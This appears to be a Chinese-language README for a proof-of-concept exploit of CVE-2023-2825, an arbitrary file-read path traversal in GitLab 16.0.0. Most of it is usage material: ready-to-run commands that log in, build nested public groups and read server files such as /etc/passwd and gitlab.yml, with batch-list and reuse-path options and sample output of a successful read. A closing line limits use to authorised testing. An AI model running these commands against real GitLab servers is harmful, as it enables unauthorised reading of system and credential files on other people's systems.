针对 CVE-2023-2825 的概念验证,这是 GitLab CE/EE 16.0.0 中的一个任意文件读取漏洞。
该脚本使用有效的 GitLab 账户登录,创建所需的公开嵌套组结构,创建一个公开项目,上传附件,并利用易受攻击的上传路径遍历行为从 GitLab 服务器读取目标文件。
它还支持复用现有上传路径,因此您无需为每次文件读取都创建新的组和项目。
Python 3.8+
pip install -r requirements.txt
所需的 Python 包:
beautifulsoup4
requests
urllib3
尖括号内的值为占位符。请将其替换为您自己的值,并且不要包含 < 或 > 字符。
python3 cve_2023_2825.py \
--url <GITLAB_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--file /etc/passwd
<GITLAB_URL> # 目标 GitLab 基础 URL。示例:http://gitlab.local
<USERNAME> # 有效的 GitLab 用户名。
<PASSWORD> # 有效的 GitLab 密码。
python3 cve_2023_2825.py \
--url http://gitlab.local \
--username alice \
--password 'Password123!' \
--file /etc/hosts
示例输出:
[2026-05-17T18:20:10Z] [*] 获取 CSRF 令牌
[2026-05-17T18:20:10Z] [+] 找到 CSRF 令牌
[2026-05-17T18:20:11Z] [*] 以 alice 身份登录
[2026-05-17T18:20:11Z] [+] 登录成功
[2026-05-17T18:20:12Z] [*] 创建 11 个嵌套的公开组
[2026-05-17T18:20:18Z] [+] 已创建组:A1B-11
[2026-05-17T18:20:19Z] [*] 创建公开项目
[2026-05-17T18:20:20Z] [+] 可复用上传路径:/A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] 读取文件:/etc/hosts
[+] /etc/hosts 的内容
127.0.0.1 localhost
成功运行后,脚本会打印一个可复用的上传路径:
可复用上传路径:/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/
使用 --reuse-path 跳过登录、组创建、项目创建和上传:
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
您也可以传入完整 URL 并省略 --url:
python3 cve_2023_2825.py \
--reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
创建一个文件列表:
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF
运行:
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--list files.txt
--groups <N>
要创建的嵌套公开组数量。默认值:11
--depth <N>
要使用的遍历段数量。默认值:12
--reuse-path <PATH_OR_URL>
现有项目上传目录。跳过设置,直接读取文件。
--only-final
隐藏进度日志,仅打印文件内容。
--no-color
禁用 ANSI 颜色。
--debug
打印生成的遍历路径,用于故障排除。
--reuse-path,以避免创建不必要的组和项目。本 PoC 仅用于授权的安全测试、实验环境及漏洞验证。 未经明确许可,请勿将其用于任何系统。